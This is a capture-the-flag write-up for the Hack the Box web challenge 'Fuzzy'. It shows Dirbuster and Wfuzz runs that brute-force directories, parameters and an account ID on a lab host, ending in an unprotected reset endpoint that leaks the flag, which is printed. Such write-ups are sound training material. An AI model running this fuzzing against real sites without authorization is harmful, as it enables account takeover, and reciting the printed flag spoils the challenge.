Hack the Box - Fuzzy
Created by Arrexel
Background Info
Fuzzy is a web challenge hosted on Hack the Box.
Challenge Objective
"We have gained access to some infrastructure which we believe is connected to the internal network of our target. We need you to help obtain the administrator password for the website they are currently developing."
When visiting the website, you are presented with a page which is not yet complete. The links do not direct to any other pages and none of the dropdown menus work. The underlying source code of the website did not contain any references to files or scripts or any comments of interest.
Landing Page
01. Dirbuster
I first ran a dirbuster scan on the instance which returned an interesting directory called /api/
Dirbuster result
02. Wfuzz - Files
My next step was to use a commandline tool called Wfuzz.
Wfuzz is used to bruteforce web applications passing parameters into different parts of the site, for example you are able to bruteforce http methods, post parameters, basic authentication, cookies and directories.
In this case I used wfuzz to attempt to identify files in the directory /api/.
********************************************************
* Wfuzz 2.2.11 - The Web Fuzzer *
********************************************************
Target: http://docker.hackthebox.eu:42310/api/FUZZFUZ2Z
Total requests: 18050
==================================================================
ID Response Lines Word Chars Payload
==================================================================
001057: C=200 0 L 4 W 24 Ch "action - .php"
008310: C=200 0 L 1 W 39 Ch "index - .html"
Total time: 43.04794
Processed Requests: 18050
Filtered Requests: 18048
Requests/sec.: 419.2999
The search returned a file called action.php which, when visiting, returned a blank page with the message Error: Parameter not set written across.
03. Wfuzz - Post Request
I navigated to the URI /api/action.php?test=test which returned the same message Error: Parameter not set. I then used Wfuzz to fuzz the action.php parameters using a generic wordlist provided by Wfuzz.
********************************************************
* Wfuzz 2.2.11 - The Web Fuzzer *
********************************************************
Target: http://docker.hackthebox.eu:42310/api/action.php?FUZZ
Total requests: 45463
==================================================================
ID Response Lines Word Chars Payload
==================================================================
034551: C=200 0 L 5 W 27 Ch "reset"
Total time: 112.0238
Processed Requests: 45463
Filtered Requests: 45462
Requests/sec.: 405.8333
This command identified the parameter reset. I visited the URI /api/action.php?reset which returned an error message of Error: Account ID not found. I used Wfuzz again but this time provided an account ID to the reset parameter.
********************************************************
* Wfuzz 2.2.11 - The Web Fuzzer *
********************************************************
Target: http://docker.hackthebox.eu:42310/api/action.php?reset=FUZZ
Total requests: 31
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000021: C=200 0 L 10 W 74 Ch "20"
Total time: 0.219448
Processed Requests: 31
Filtered Requests: 30
Requests/sec.: 141.2634
The results suggested 20 was a valid ID for the Account ID parameter.
04. Finding the Flag
I navigated to the reset URI passing the account ID /api/action.php?reset=20 which returned the flag.
HTB{h0t_fuzz3r}